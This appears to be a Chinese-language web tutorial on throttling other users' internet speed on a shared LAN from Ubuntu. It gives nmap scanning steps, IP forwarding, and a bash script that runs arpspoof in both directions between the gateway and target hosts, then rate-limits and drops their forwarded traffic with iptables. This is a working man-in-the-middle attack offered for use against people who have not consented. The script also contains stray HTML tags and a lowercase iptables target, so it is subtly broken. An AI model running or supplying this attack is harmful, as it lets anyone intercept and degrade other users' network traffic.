Ubuntu下限制局域网网速教程

(编辑:jimmy 日期: 2024/11/15 浏览:2)

为了限制无线路由器上大家的上网速度,减少p2p工具的影响

可以通过arp欺骗和iptables来限制局域网的上网速度

操作系统:Ubuntu

1)sudo apt-get install dsniff nmap

2)探测局域网主机的ip地址

复制代码代码如下:
sudo nmap -ss 网关ip/24

在此例中:

192.168.1.100 为要限速的主机

192.168.1.1 为网关地址

3)打开 内核的 IP 转发,让我们的主机成为路由器

复制代码代码如下:
echo 1 > /proc/sys/net/ipv4/ip_forward

4)使用 iptables和arpspoof进行 限速! 脚本如下
使用方式:
sudo ./iptable.sh 要限的速度(30为40k/s) 网关ip 限速主机1 限速主机2

复制代码代码如下:
#!/bin/bash
if [ $# -le 2 ]
then
echo "Usage: ./iptables.sh speed gateway ip1 ip2 ...."
exit -1
else
speed=$1
gateway=$2
fi
IPT=/sbin/iptables</p> <p>while [ $# -gt 2 ]
do
shift
echo $gateway,$2
arpspoof -i eth0 -t $2 $gateway&
arpspoof -i eth0 -t $gateway $2&</p> <p> $IPT -A FORWARD -s $2 -m limit --limit ${speed}/s -j accept</p> <p> $IPT -A FORWARD -d $2 -m limit --limit ${speed}/s -j ACCEPT</p> <p> $IPT -A FORWARD -s $2 -j DROP</p> <p> $IPT -A FORWARD -d $2 -j DROP</p> <p>done